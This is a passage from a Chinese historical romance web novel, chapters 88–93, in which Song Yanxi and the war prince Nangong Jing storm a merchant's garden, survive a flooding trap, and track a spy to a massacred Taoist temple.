南宫景没有回答,而是怔怔地看着她。 在他的视角里,此刻站在他面前同他说话的宋颜夕,已经变成女帝月容的模样。 “是你?你来找我了?我就知道,你没这么容易死的。” “你说什么?什么死不死的?” 宋颜夕还没来得及听到答案,就被南宫景一把搂住肩膀。 他的手微微用力,宋颜夕就被扯入了他的怀中。 第88章:杀进梅园 “喂,我警告你,别占我便宜啊!” 宋颜夕尝试着推开他,无奈,南宫景像是用尽了浑身力气将她禁锢在怀里。 别说推开他了,就连喘口气都挺困难。 不得已,她只能重重踩了他一脚:“再不松手,就真的要死了。” 脚上的痛感传来,南宫景顿时一个激灵。 他眨了眨眼,终于看清怀中之人的相貌。 “怎么是你?” 南宫景像是受了什么刺激,直接把宋颜夕推出很远。 他们都忘了,此时是在桥上。 当宋颜夕从桥上跌落的时候,心中问候了南宫景的祖宗十八代。 “poom” 落水声响起,南宫景彻底清醒过来。 他跑到桥边一看,正好看到宋颜夕用狗刨式在水里扑腾。 幸而这一片的河并不宽,刨了几下之后,宋颜夕便爬上了岸。 只是这冬日的风毕竟寒冷。 湿哒哒的衣裳挂在身上,宋颜夕只觉得整个人如坠冰窟。 她擤了擤鼻子,快速用银针在自己身上扎了几下。 “我告诉你啊,我是看在你心情不好的份上才饶你一马。若是再有下次,我一定……” 经过南宫景身边的时候,宋颜夕朝他挥了挥拳头。 南宫景没有看她,捏着酒壶继续往前走。 宋颜夕在他身后喊了一句:“在黄金楼带走你的,是你的意中人?她怎么了?” 南宫景脚步一顿,却是一句话都没说。 随后,他又灌了一口酒,跌跌撞撞地走向夜色的更深处。 看着他寥落的背影,宋颜夕忍不住猜测:难道,真是他意中人带走了他? 说起来,那日将他带走的那人的身形的确瞧着像个女子。 看他如今的模样,该不会,他的意中人已经……死了吧? 她不由得想到那个董老板。 莫非,是董老板追上他们,然后,杀了他心仪的女子? 想到这种可能,她拢了拢衣裳,加快脚步跟了上去。 不知不觉,他们已经一前一后在清冷的街上走了很久。 “你要走到什么时候?” 冷风一直往身体里钻,宋颜夕实在是忍不住拦在他的前面。 前路被拦,南宫景面露不悦:“让开。” “不让!” 宋颜夕甚至张开双臂,将他堵在狭窄的巷子口。 “你堂堂八尺男儿,在这儿喝闷酒算什么本事?” 宋颜夕一边说,一边夺下他手中的酒壶。 原本是想直接砸碎酒壶的。 但一股冷风吹来,她还是忍不住打了个哆嗦。 “不管了。” 她咬着牙,直接将壶中之酒倒入口中。 待寒意稍稍驱散,她这才重重将酒壶扔在地上。 “乓!” 夜色中,碎裂声格外清脆。 跟上来的段恒和左翼同时一怔。 他们没看错吧,这个女子,竟然砸了他们王爷的酒壶? 然而让他们惊讶的还远不止于此,还没等他们回过神来,就听到宋颜夕的声音再次响起。 “你不是很有本事吗?你要真是个男人,就该提刀杀了那个害死你心上人的凶手。而不是像个废物一样,在这里买醉!” 那一刻,段恒和左翼恨不得冲上去缝住宋颜夕的嘴。 她以为王爷没有这么干吗? 他在书房里待了很久,出来之后,就下令出兵西菱。 并且下了死令,不惜一切代价取下巫黛的项上人头。 若非他们拼死将王爷拦下,此时此刻,他们家王爷已经领兵西去。 为了万千黎民百姓,南宫景不得不与西菱保持表面上的和平。 扔了剑之后,他便一个人出府了,还勒令不准他们跟着。 好不容易找到王爷,没想到这女人竟然又在煽风点火。 段恒和左翼对视一眼。 这女人不是自称西菱暗卫吗?竟也如此分不清情势? 就在他们犹豫要不要把宋颜夕架走的时候,南宫景终于开口。 “杀了她?你说得倒是轻巧。” 大概是心中压抑,他忍不住一拳头打在宋颜夕身后的墙壁上。 拳头从耳边擦过的那一瞬间,宋颜夕只觉得整个人都麻了。 那一刻,她几乎以为这一拳能要了她的命。 “连你都杀不了董老板?他这么厉害吗?” 董老板? 听到这个名字的时候,南宫景忽然清醒了不少。 是啊,杀不了巫黛。 就先拿她的爪牙祭奠月容。 如此想着,南宫景忽然调转方向往梅园的方向走去。 “喂,你去哪儿啊?” 宋颜夕原本是不想再管这件事的,但一见到南宫景那虚浮的脚步,还是咬牙追了上去。 “梅园?你怎么来这儿了?阿嚏~” 宋颜夕打了个喷嚏。 南宫景转头看了一眼:“这不是你该来的地方,若是想活命就赶紧离开。” 他现在也摸不清这女人到底是什么身份,但有一点可以肯定,她与西菱脱不了干系。 甚至,就连月容之死,她或许也是知情者。 只是他还不确定她在这中间究竟扮演着什么角色。 他现在还能心平气和地面对她,并不代表大开杀戒之后,不会连她一起解决了。 而这话听在宋颜夕耳中,就变成南宫景准备孤身赴死,为心上人复仇。 宋颜夕沉了沉眸子:“我让你报仇,并不是让你……” 话还没说完,南宫景已经一脚踹飞了梅园的大门。 “喂,你别冲动啊。起码,先把你那些兄弟叫上。” 南宫景哪里还能听进宋颜夕的话,他破门而入,笔直朝着那水榭而去。 巨大的动静很快就将看守梅园的小厮招来。 冲过来的小厮各个手拿武器,将南宫景团团围住。 他却只是轻轻一抬手,那些小厮就被打飞出去。 从他们落地的姿势来看,宋颜夕可以确定,每个人至少断了五根肋骨。 南宫景如一尊杀神,虽然脚步依旧虚浮,却又仿佛被灌了铅一般,稳稳地钉在地上。 宋颜夕追上去的时候,地上已经躺了不下一百号人。 “这男人的实力,恐怖如斯。” 宋颜夕忽然发现,她从来没有真正了解过这个男人的实力。 又或者,是因为他此刻沉浸在痛失爱人的悲痛里,激发了所有的力量? 若真是如此,等这股劲过去,这人只怕是要元气大伤。 “何人敢擅闯梅园?” 临近水榭,董老板终于现身。 第89章:梦中往事 “你们是何人?知道这是谁的地盘吗?” 看着一身杀气的南宫景,董老板显然有些吃惊。 因为在黄金楼的时候南宫景易了容,所以,他并没有认出南宫景。 至于宋颜夕,他就更没认出来了。 南宫景没有和他说废话的打算,脚步微移直接来到他面前。 “我倒是不知,这是谁的地盘。” 说着,他一把掐住了董老板的脖子,“不如,你来告诉我,如何?” 董老板也是有些武功底子傍身的,没想到在南宫景面前竟然连还手的力气都没有。 脖子被掐住的那一刻,董老板眼中闪过惊恐之色。 “阁下,这当中是否有误会。” 艰难地吐出这一句话之后,董老板的脸色顿时变得一片青紫。 因为,南宫景加大了手中的力道。 “说,你背后之人是谁?” 虽然处于暴走状态,南宫景理智尚存。 杀了一个董老板还不足以泄愤。 他要做的,是将巫黛的羽毛一根根拔下。 在她孤立无援的时候,给予最后一击。 “我,我就是一个普通的米商,不知何时得罪了阁下......” 还没等董老板说完,南宫景就将他重重甩到一边。 紧接着,南宫景一掌拍向他的面门:“不说?那就去死吧。” “好,我说,我说。” 就在那一掌距离他的脑门只有两寸距离的时候,董老板大喊一声:“只要阁下留我一命,你想知道什么,我都告诉你。” 见南宫景收掌,董老板重重突出一口气: “我也不知那位大人的真实身份,但,我们之间来往的信件我都留下来了。就藏在水榭的暗格里。” 还没等南宫景开口,宋颜夕直接一针扎在他脖子上:“还不赶紧带路。” 董老板原本是想利用那些信件吸引他们注意力,然后趁机逃跑的,没想到宋颜夕这一针下去,他的大半个身子都麻了。 除了能够勉强走几步之外,再也做不出多余动作。 南宫景看了宋颜夕一眼,并没有多说什么。 “就是那里。” 董老板指了指不远处那个青花瓶,“往右边转半圈就可打开暗格。” 南宫景正要动手,宋颜夕却把董老板往前一推:“你来。” 董老板倒是配合,随着他的动作,那柜子后面果然出现了一个暗格。 那暗格里放着一个盒子,董老板将盒子打开,露出一叠整整齐齐的信件。 “你看,我没骗你们吧。” 宋颜夕这才将董老板推到一边。 与此同时,南宫景已经伸手将那些信件拿了出来。 拿起信件的那一刻,南宫景脸色一变。 “怎么了?” 宋颜夕心中闪过一个念头,还没听到南宫景的答案,就觉得脚底下一空。 “啊!!姓董的,你给我等着。” 宋颜夕和南宫景掉下去之后,地板瞬间合上。 躲在暗处的段恒和左翼脸上一变,立刻跳出来将剑架在董老板的脖子上:“赶紧打开机关。” 董老板没想到这儿竟然还埋伏了其他人,一张脸顿时涨成猪肝色。 他欲哭无泪:“这是防御机关,一旦开启就会自动损毁,我也打不开啊。” “你说什么!!!” ...... “这姓董的果然阴险,没想到还是被摆了一道。” 宋颜夕双手叉腰站在黑暗中,一双眼迸发出熊熊火焰。 有那么一刻,宋颜夕几乎以为自己要再死一次了。 若不是南宫景武功足够高,她此刻已经摔成肉泥。 一想到那种濒临死亡的绝望感,她就觉得身体更冷了。 “你怎么不说话?” 因为周围实在是太黑了,宋颜夕根本看不到南宫景,只能伸出手往旁边摸了摸。 这一摸,正好碰到了南宫景的脸。 “怎么这么烫?你......” 话还没说完,她就听到耳边传来“砰”的一声。 “喂,何二哥?何越?” 叫了几声都没人应答,宋颜夕终于确定,刚刚那声就是某人倒在地上发出来的。 她蹲下去摸索了好一阵,果然摸到了那个躺在地上纹丝不动的人。 “果然啊” 气血翻涌,若是再不疏通经脉,非得爆体而亡不可。 宋颜夕摇了摇头,摸黑给他扎针。 “得亏你遇见的是我,若是换做别人,你今日可就得死在这儿了。” 在黑暗中扎针所需耗费的精神力无疑是巨大的,就算是宋颜夕也不例外。 收针的那一刻,她只觉得手腕抖得厉害。 因为周围实在太黑,她又无法拖动南宫景,再加上担心这地方还有其他机关,宋颜夕只能靠在石壁上歇息片刻。 当她闭上眼之后,困意渐渐袭来。 迷迷糊糊之中,她仿佛做了一个梦。 梦里,她又回到了战场之上。 彼时,她对面站着一个身穿银色铠甲,面戴青色面具的男人。 此人正是东越战王——南宫景。 那一次,是他们在战场上第一次见面。 此时此刻,南宫景的手中捧着一个卷轴。 “你想与本帝单打独斗?” 宋颜夕坐在马背上,看向那个迎风而立的男人。 此时,南宫景身后并未带一兵一卒,他就这样站在那儿,仰面看着她。 “陛下莫不是不敢接本王的战书?” “笑话,这世上就没有本帝不敢的事儿。” 她翻身下马,取走南宫景手上的卷轴。 “陛下不可!” 她身后的武将见了,赶紧阻止。 宋颜夕却大手一挥:“本帝素闻东越战王德才兼备,天下无双,想必也是光明磊落之人,定然不会使诈暗算本帝吧?” 南宫景轻笑一声:“自然不会。” 他朝身后一指:“本王只身前来,便是诚意。因为本王相信陛下定然也不是偷奸耍滑之辈。” “好,你说怎么比?” “这个简单。你我比试三局,胜两局者便是赢家。输的一方需率领大军后退三十里,如何?” “成交!” “既是你我之间的较量,不如,选个清净之地?” 南宫景做了个“请”的姿势,宋颜夕便率先朝前走去。 边疆多荒芜,除了漫天黄沙之外,能见到的也就只是一些已经干涸的古河道遗址。 宋颜夕最终选择了荒漠的制高点。 周围的景色尽收眼底,她不用担心南宫景设伏。 “战王想怎么比?”宋颜夕问。 第90章:糟糕,被困住了 “自然是,听陛下的。” 宋颜夕勾了勾嘴角:“既是比试,不如就拳头下见真章。” 说罢,她直接挥拳朝南宫景身上打了过去。 南宫景侧身躲过:“既然如此,那陛下可要尽全力才行。” 二人很快就打在一处。 黄沙漫天,疾风起,不知是谁打乱了谁的步伐。 宋颜夕一脚踩空,身体不受控制地朝黄沙深处坠落。 南宫景伸手去抓,却被她一同带了下去。 画面一转,他们双双坐在低洼处。 “第一局,你我也算打了个平手。” 宋颜夕弹了弹身上的沙:“第二局,你说比什么?” 南宫景指了指上方:“如今这个情况,不如咱们就比一比谁先离开此处?” 宋颜夕朝头顶看了一眼,这个沙坑很深,而且周围的沙十分松软,若是靠攀爬,肯定是上不去的。 不仅爬不上去,还有可能因为沙暴而被埋在底下。 她转了转脖子,率先站起来:“这一局,本帝一定会赢。” “陛下未免太自信了。” 南宫景在她身边站定,“本王的轻功可不低。” “说得好像本帝很差似的。” 话音刚落,宋颜夕足尖一点,朝那黄沙上方飞去。 南宫景立刻跟上。 不过,总是落后一步。 就在接近终点的时候,他忽然提速了。他们几乎是在同时抵达制高点。 南宫景双手一摊:“看来,又是平局。” 第三局,他们比的是定力。 二人面对面盘腿而坐。 “说好了,谁若是先动了,便是输家。” 宋颜夕扬了扬下巴:“本帝是不会输的。” 大概是担心南宫景会故意激,她索性闭上眼睛不再搭理南宫景。 殊不知,南宫景就这样痴痴地看着她。只是那一腔的深情都被那青色面具所遮挡。 不知过了多久,耳边忽然响起一阵窸窸窣窣的声音。 宋颜夕睁眼的时候,正好看到南宫景的手中捏着一只五色蜥蜴。 此时此刻,蜥蜴距离她的脚踝只有半根手指的距离。 那可是剧毒之物啊。 宋颜夕几乎是立刻跳起来。 “好你个南宫景,本帝如此信你,你竟然暗算本帝!” 南宫景将那蜥蜴往远处一扔:“不是你想的那样……” 宋颜夕根本不信他的话,举起拳头就往他身上招呼。 “砰!” 实打实的触感让宋颜夕猛地睁开眼。 那一刻,她惊讶地发现,原本漆黑的地方竟然有了一丝光亮。 而在她面前,赫然摇晃着一只熊猫眼。 “你的眼……” 宋颜夕抬手伸向南宫景的眼角,却被他躲了过去。 “那个,我不是故意的。” 话一出口,宋颜夕顿时将手掌贴向自己的喉咙。 她的声音,怎么如此嘶哑? 南宫景将手中的火折子拿远了一些:“你梦魇了,我方才是想叫醒你。” 梦魇? 宋颜夕甩了甩脑袋。 真是见鬼了,怎么会梦见那个讨厌的家伙。 “既然你已经醒了,咱们就赶紧找出口去吧。” 急于离开的她并没有发现,此时的南宫景脸色有些异样。 就在刚刚,他听到宋颜夕的梦语。 当年,他们在战场上第一次对赌,月容误会他拿毒蜥蜴害她,曾经对他说过一模一样的话。 此时此刻,南宫景心中闪过一个荒唐的念头。 他几乎是下意识抓住宋颜夕的手。 “怎么了?”宋颜夕问。 南宫景的喉结上下翻滚,似乎在思考应该怎么开口。 “你,真的是宋颜夕吗?” 听到这句话的时候,宋颜夕心里一个咯噔。 该死,她该不会是梦魇的时候说了什么不该说的吧? 她轻咳一声,将手抽了回来:“我当然是宋颜夕,小樟村人人都能为我作证的。” 她甚至还拍了拍南宫景的肩膀:“不管你听到什么,都不是真的。就让你别冲动吧,看看看看,体力严重透支,都出现幻听了。” 说完,她也不等南宫景开口,夺过他手中的火折子,大步朝前走去。 看着她仓皇逃脱的背影,南宫景藏在身侧的手紧紧握成拳头。 【宋颜夕,本王会查出你的身份,若你真是她,本王必定倾尽所有,护你一世周全……】 暗暗下定决心之后,南宫景快步追了上去。 “这地方这么深,该不会是在地牢底下吧?” 从掉落的情况来看,宋颜夕推测,他们现在所站立的位置远比之前去过的那个地牢还要更深一些。 南宫景不置可否:“不仅如此,这还是一条死路。” 他们不过走了一会儿,这条路就已经走到尽头了。 而且,耳边隐隐还有水流声响起。 宋颜夕脸色一沉:“该不会……” 随着水流声越来越近,宋颜夕的想法也得到了印证。 拿着火折子靠近墙壁一看,果真在高于头顶的地方看到了许多圆形小孔。 机关被毁,湖中之水很快就要倒灌到这个封闭的空间。 “此地不宜久留,赶紧想办法出去。” 宋颜夕在墙壁上敲了敲,这石壁坚硬无比,凭人力根本就无法打破它。 南宫景也在寻找能够重启机关的办法。 但是很显然,设置这个机关的人根本就没打算给掉入此地的人留活路。 他们搜寻了一圈,没有半点收获。 没多久,宋颜夕便觉得头顶一凉。 抬头一看,周围的圆孔已经开始漏水。 “放弃吧,打不开的。” 见宋颜夕还想靠蛮力破墙,南宫景直接挡在她面前。 “放弃?你是想在这儿等死吗?” 南宫景摇了摇头:“这个时候消耗体力可不是一个明智的选择。” “那你可有更好的办法?” 南宫景指了指上方:“或许,现在最好的办法就是等。” 他知道,他的人就在外面。 他们被困在里面没有办法,外面的人还能被这小小的机关难住不成? 不过,他倒是可以趁此机会试探一下这个女人。 宋颜夕顺着他指的方向看去,果然看到在那圆孔上方不远处有一块凸起的地方。 大概是这地方地形特殊,那块凸起的石块并未被磨平。 还没等宋颜夕反应过来,南宫景你已经揽着她跃了上去。 这石块很是狭窄,他们必须紧紧靠在一起才能保证不会掉下去。 靠在一起的时候,南宫景眉头一皱。 这女人的身体怎么这么烫? “你干什么?” 宋颜夕原本正在想事情,一转头就看到南宫景在解衣服扣子。 第91章:他的试探 这男人,该不会对她存了什么不该有的心思吧? 宋颜夕默默将银针捏在手里。 下一瞬,身上就多了一件衣裳。 “你不是自称神医吗?连自己的身体状况都不清楚?” 南宫景的声音没有多大的情绪起伏,但宋颜夕莫名感到心中一暖。 她拢了拢外袍,低声道谢。 接下来有很长的一段时间,他们都没有再开口说话。 耳边除了水流的声音,便只剩彼此的呼吸声。 “你想到办法没有?” 最终,还是宋颜夕忍不住率先打破宁静。 南宫景闭目养神:“没有。” 宋颜夕眯着眼看他:“不对啊何二哥,你以前可不是这么没有主意的人。” 说着,她一把拍在南宫景的肩膀上:“你该不会是,想为你心上人殉情吧?我告诉你啊,你想死别拉着我,我可还想活下去呢。” “谁告诉你我心上人死了?” 宋颜夕愣了一下:“没死?” 难道是她猜错了? 不对啊。 “没死你整这死出给谁看呢?还夜闯梅园,闹出这么大动静。结果好了吧?把自己困死在这儿了。” 南宫景目光一闪:“我和那个姓董的,有私仇。” “啊?” 南宫景扯了个慌:“其实,今天是我一个兄弟的祭日。我也是那天逃出黄金楼之后才知道,我那兄弟就是被那个姓董的害死的。” “原来是这样啊?” 宋颜夕继续盯着他:“所以,那日在黄金楼带你走的那个,是……” “是我兄弟的妻子。” “原来是这么一回事啊?我还以为她是你……” “你以为,她是我心上人?你为何会这么想?” 宋颜夕:“那不是你说的嘛,你有一个意中人,那日我见那人把你救走,再见到你之时,你便是那失魂落魄的模样。会这么想也很正常吧。” 她顿了顿,又说道:“所以,你今天晚上如此失常,便是想替你兄弟报仇?你俩关系够好的啊。” “不说我了,你呢?方才我不是让你走吗?为什么还要跟进来?” 说起这个,宋颜夕就后悔。 要是知道会被困在这里,她肯定不会头脑发热跟上来。 南宫景忽然靠近,又问了一句:“你该不会,是在担心我吧?担心,我会被那姓董的杀了?” “咱们现在可是一条绳上的蚂蚱,我不应该担心你吗?别忘了,咱们可是要一起发财的。” 她指的,是那批黑铁矿。 南宫景抓着她的手:“就只是这样?” “不然你以为呢?” 南宫景松开她的手,和她适当拉开距离:“如此,今日倒是我对不住你了。宋姑娘,可有什么未完成的心愿?若你我今日能活着出去,我一定替你完成。” “想要补偿我啊?大可不必。” 宋颜夕捏了捏掌心:她的仇,她要亲手报。 南宫景一直在观察她的表情,没有错过她眼中一闪而过的杀意。 “你此行,可是为了复仇?” “我……” “不用找借口糊弄我,我还没有傻得连这点门道都看不出来。” 宋颜夕沉默。 她没想到这男人竟然连这个都看出来了。 还是说,她梦魇的时候,真的说了些不该说的话? “眼下这个情况,仅凭你我是逃不出去了。你若是有什么放不下的,大可跟我说说。没准,我还能替你把仇报了呢。” 宋颜夕转过头去:“我唯一的遗憾,就是没有完成母亲的遗愿,没有看遍这大好河山。” 南宫景:“是吗?” 她果然还是不肯说实话。 宋颜夕反问:“那你呢?你又有什么未完成的心愿?” “我啊。” 南宫景的思绪逐渐飘远:“我尚有一个人,求而不得。若还能活着出去,我定送她十里红妆。” “看不出来,你还是个痴情种。” 宋颜夕忽然一脸正色地看着他:“有一件事我得跟你说。” 南宫景不解。 “在郦阳城的时候,我不是给过你几颗药丸吗?” 南宫景恍然大悟:“你是说,情意绵绵丸?” 宋颜夕轻咳一声:“那个药,你别给你心上人吃。” “宋姑娘,你给我的不会是毒药吧?” “倒也不是。只是那姑娘若是吃了这药,会厌恶第一眼看到的人。” 南宫景:“你当初可不是这么说的。宋姑娘,你这是在害我。” “当时,那不是为了交易嘛。再说了,本姑娘可是十份瞧不上那些为了一己之利就对姑娘下药的男人。我这么做,也是替那位姑娘考验你。” “那看来,在下是通过宋姑娘的考验了。” 宋颜夕点头:“你勉强,算个君子。” “如此看来,我还要多谢宋姑娘手下留情。” “说起来,我倒是很好奇,你心上人究竟是个什么样的女子?” 南宫景歪头看着她:“你想知道?” “闲着也是闲着,听听也无妨。” 那一刻,南宫景忽然觉得眼前之人和记忆中的女子相重合。 “她啊,是个奇女子……” 听着南宫景滔滔不绝地夸赞那位女子,宋颜夕只觉得十分新奇,渐渐地,困意袭来。 她用银针在自己手腕上扎了几下,强迫自己保持清醒:“有机会,一定要见一见她。” 南宫景注意到她的动作:“会有机会的。” “说起来,我有时候觉得你与那东越战王还挺像的。” 南宫景身子一怔。 正要开口,却被宋颜夕抢先一步。 “不过你和他啊,一个天上,一个地下。云泥之别。” “你和那位战王,有仇?” 宋颜夕的声音越来越轻:“是啊,有仇。我跟那家伙的仇,大了去了。” “你不是要和大长公主认亲了吗?怎的还会和战王结仇?” “认什么亲啊?别以为我不知道,他们这是拿我当离间敌人的棋子呢。如今我在这上京城看似风光,实则腹背受敌。我跟你说啊,这肯定是南宫景那个死贱男出的主意。” 南宫景捏了捏拳头,语气中听不出情绪起伏:“死贱男?” “对啊。” 疲惫感一阵一阵涌上来,宋颜夕逐渐靠在他的身上,有些语无伦次:“他坑我也不是一次两次了,枉我一开始如此信任他。他竟然当众撕破了我的衣服……那家伙,竟然让我在将士们面前丢了这么大的脸……还有巫黛那叛徒也不是什么好东西,早晚有一天,本帝……” 听到最后一句话,南宫景再也忍不住抓着她的肩膀,急切地问道:“你是月容?对不对?” 第92章:黄泉碧落也要找到你 然而,他并没有得到想要的答案。 此时的宋颜夕,已经陷入昏睡状态。 南宫景将她揽在怀里,失而复得的喜悦以及将定未定的挣扎在脸上轮番上演。 他颤抖着抚上她的脸:“是你回来了,对吧?” 【本王这一生不信鬼神,但若是你,纵为魂灵,碧落黄泉我也要寻遍,只为换你一缕念念不忘】 …… 宋颜夕醒来的时候,发现自己躺在一个陌生的地方。 睁开眼的那一刻,见到的就是“何越”略显憔悴的脸。 见宋颜夕醒来,南宫景眼中闪过惊喜之色:“怎么样,还有哪里不适?” 宋颜夕摇了摇头:“这是什么地方?” “这是梅园。” 梅园? 宋颜夕看了窗外一眼,又问:“我们是怎么逃出来的?” “还记得咱们之前在地牢里见过的那个人吗?” 被南宫景一提醒,宋颜夕这才想起来,好像的确是有这么一个人。 “你的意思是,那个人救了我们?” “那个人被关在地牢里十几年,对地牢的构造早就熟于心。那日,我便是在他的指引下凿开密室的。” 那日? 宋颜夕猛地起身,因为起得太猛,脑袋直接磕到南宫景的下巴。 “我睡了多久?” 南宫景拍了拍她的脑袋,语气是前所未有的亲昵:“三天了,你要是再不醒,我都要去大长公主府把太医请过来了。” 端着药走到门口的太医:...... 哪儿是请啊? 他分明是被人直接揪过来的。 想起三天前的那一幕,太医就觉得一股冷汗从后背冒出。 这么多年了,他可从没见过王爷发这么大的火。 那姑娘不过是风寒入体,再加上疲劳过度需要昏睡数日。王爷急得差点拿刀砍了他的脑袋。 好在,那姑娘可算是醒来了啊。 屋内,宋颜夕却是轻笑一声:“就你?还把太医请过来?你以为太医这么好请呢?而且我自己也是大夫,我的身体,自己能治。” 说着,她还真的伸手给自己把了脉。 奇怪,虽然病了一遭,这具身体的脉象倒是比之前还要更有力一些。 她昏迷的时候,是服用了什么特殊的药物吗? “都说医者不自医,你啊,还是好好歇着吧。” 南宫景直接将她按在床上,又亲手替她捻了捻被子。 “对了,那个姓董的怎么样了?”宋颜夕问。 “放心,我的人已经把他带走了。必能从他口中套出那幕后之人。” 宋颜夕又问:“那些信件?” “那些信件根本就是障眼法,里面只有一张白纸。” 提到这个,南宫景的脸色一沉:“不过我已经有方向了,此事你不用管。先把身子养好才是最要紧的。” “我身体没问题。” 宋颜夕再次坐起来:“我如今腹背受敌,不把那毒瘤揪出来,无法安心。” 南宫景是知道她的性子的,沉默半晌才开口说道:“好,待你服了药,我便带你去见董昌。” 董昌,是董老板的名字。 南宫景打了个响指,候在门口的太医就立刻端着药走了进来。 “这里面......” 宋颜夕把碗送到嘴边,却在嗅到那药味的时候顿了一下。 “怎么了?”南宫景问。 “没什么?” 宋颜夕将碗中之药一饮而尽。 怪不得她的脉象会有如此大的变化,这汤药中竟然加了十余种珍贵的草药。 余光掠过南宫景脸上的胡渣,宋颜夕忽然轻笑出声。 “何二哥,你是否需要先去洗漱一下?” 南宫景这才意识到什么。 他脸色一变,几乎是逃也似地离开了房间。 该死,他竟然以这样一副模样出现在月容面前。 月容她,该不会嫌弃他吧? ...... 董老板被关在城外一座荒山上。 当南宫景带着宋颜夕来到那里的时候,林昊眼中闪过不可置信之色。 这个地方,算是他们的一个秘密基地。 没想到,王爷竟然会把宋姑娘带到这里。 听段恒说王爷前两日还在为西菱女帝买醉,如今却...... 莫非,王爷对宋姑娘...... 察觉到南宫景警告的目光,林昊顿时垂下脑袋。 “是你啊。” 宋颜夕朝林昊打招呼,低声问了一句:“这个地方,就是你们的土匪窝吗?” “宋姑娘说笑了。” 听到“土匪窝”三个字,林昊差点没咬断舌头。 这姑娘,是把他们王爷当做土匪头子了吗? “紧张什么,我又不是官,不会抓你们的。” 看着宋颜夕伸手在林昊肩膀上拍了拍,南宫景的脸色更阴沉了。 林昊打了个激灵,赶紧后退两步和宋颜夕拉开距离。 “公子,宋姑娘,这边请。” 林昊将他们带到关押董昌的地方。 此时此刻的董昌被绑在一个“十字”木架上,浑身被铁链锁住。 他身上的衣裳都被血染红了,显然是受了酷刑。 “招了吗?”南宫景问。 林昊摇了摇头:“这姓董的嘴硬得很,不过请公子放心,无论用什么办法,属下一定会撬开他的嘴。” “没用的。” 宋颜夕观察着董昌:“如此硬骨头,必定是经过专业训练,一般的审讯,是撬不开他的嘴的。” 南宫景看向她:“你有办法?” 宋颜夕朝他招了招手:“咱们可以这样......” 温热的气息喷洒在耳廓,南宫景一阵心猿意马。 最后,还是没忍住在宋颜夕脸上掐了一下:“还是你有办法。” 宋颜夕一把拍开他的手:“别动手动脚的啊,再有下次,剁了你的爪子。” 南宫竟却笑得开心:“你舍得吗?剁了我的爪子,谁给宋姑娘当护卫?” 一旁的林昊惊得下巴都要脱臼了。 这,还是他们家杀伐果断,冷峻无双的战王殿下吗? 当天晚上,山上闯入了一个黑衣人。 那人一路潜进关押董昌的牢房,一剑砍断董昌身上的铁链。 “你是谁?”董昌一脸警惕地看向那黑衣人。 那人在他掌心画了几个字符。 “我是暗一,奉尊上之命来救董先生。” 董昌面色一喜:“尊上果然没有放弃我,使者放心,董某一个字都没有招。” “尊上自然是信得过董先生,先生快跟我走。” 他们才刚出牢门,周围就冲出数十个手持长剑的人。 南宫景和宋颜夕从人群中走出来,他背手而立,盯着董昌二人: “果真有同党,给我拿下,一个都不许放走。” 第93章:被灭口了 那黑衣人立刻跟他们斗在一起。 虽然南宫景的人武功都很厉害,但那黑衣人显然也是个高手,不过一会儿功夫,就被他打趴下一大片。 “倒是小瞧了你们。” 南宫景朝那些人摆了摆手:“你们都退下,我亲自动手。” 原本,南宫景对付这黑衣人是绰绰有余的,可是关键时刻,那人竟然抓了宋颜夕当人质。 南宫景脸色一变:“你若是敢伤她,我必让你血溅当场。” 暗一抓着宋颜夕后退一步:“看来我赌对了,这女人对你很重要。咱们做笔交易怎么样,你放我们离开,我便将这女人完好无损地还给你。否则,我也不敢保证自己会不会手抖,在她脖子上抹一刀。” 南宫景声音低沉:“你在威胁我?” “怎么是威胁呢?我说了,是交易。阁下有的是时间考虑,我们,不着急。” 暗一朝董昌使了个眼色,董昌立刻退到他身后。 “好,我答应你。” 南宫景很快就做出决定,并且下令让他手底下的人退开,给董昌和暗一让出一条路。 “现在,你们可以走了。” 暗一拉着宋颜夕一步步后退,当彻底退出包围圈之后,身后的董昌却不知从哪里掏出一枚烟雾弹。 “砰!” 烟雾弹在地上炸开,视线顿时变得模糊。 当烟雾散尽,眼前哪里还有董昌三人的身影。 “糟糕,宋姑娘被抓走了。” 林昊正要带人追上去,却见南宫景摆了摆手:“不必追了。” 林昊会意,立刻在地上那人的身上踢了一脚:“别演了,赶紧起来。” 刹那间,方才被暗一打趴下的那些人立刻动作麻利地站了起来。 林子深处,暗一抓着宋颜夕和董昌一路狂奔。 没过多久,董昌就捂着心口倒在地上。 “董先生,快走。他们很快就会追上来的。” 董昌摇了摇头:“不行啊,我伤得太重了,根本跑不远。” 他指了指宋颜夕:“不如,把这女人杀了,你背着我走吧。” “不行。”暗一想都没想就拒绝了。 董昌脸色一沉:“为何不杀?难道使者还要将这女人带到基地不成?” “自然不是。” 暗一在宋颜夕身上点了一下,宋颜夕便站在那儿动弹不得。 “咱们还没有脱离危险,此时杀了人质,不是明智之举。” 他蹲下来替董昌检查了一下伤口,然后,从怀中掏出一个瓷瓶交到他的手中。 “那些人想必没这么快追上来,你先服下此药,休整片刻再赶路。” 董昌虽然仍然怀疑,但此刻他并没有更好的办法,只能照暗一说的做。 药物入口,他竟真的觉得身上没这么疼了。 他拱手朝暗一道谢:“多谢使者赐药。” 休整片刻之后,他们继续赶路。 暗一将他们带到一处宅院。 “这是我购买的宅子,咱们先在此歇息一晚,明日再启程。” 说罢,他又转身对宋颜夕说道:“至于你,就去你该去的地方吧。” 暗一将宋颜夕带出去之后,董昌一路尾随。 当他亲眼看到暗一一剑刺穿宋颜夕的身体,并将她推入湖中时,终于满意地勾起嘴角。 第二天,董昌和暗一继续上路。 大概是因为昨夜服了药的关系,董昌的脚程快了许多。 他们离开上京城,朝南边而去。 两日后,他们来到一个叫清心观的地方。 “使者你说,尊上可会降罪于我?” 暗一面无表情:“尊上既派我救你,定然是相信董先生的。” 董昌顿时笑容满面:“说得也是,这些年我对尊上忠心耿耿,他必然都是看在眼里的。” 然而当他们推开道观门,却有一股血腥味扑面而来。 道观里躺着横七竖八的尸体,看样子,死亡时间起码三天以上。 不仅是董昌,就连暗一的脸色都变了。 “怎么会这样?阿明,阿明。” 董昌叫着这个名字,将那些尸体一具一具翻开。 最后,他终于在祖师殿里找到了那个叫阿明的小道童。 “阿明啊,到底是谁杀了你们,爹爹一定替你报仇。” 暗一瞧了那小道童一眼,脸上虽沾了血,但不难看出,眉眼之间与董昌有五六分相似。 看这个情况,这些人十有八九是被他口中的那位“尊上”灭口了。 只是没想到,他们竟然连这么小的孩子都不放过。 “小心!” 暗一喊了一声,拉着董昌躲到一边。 就在同一时间,一支黑羽长箭擦着董昌的肩膀,射入了阿明体内。 “阿明!” 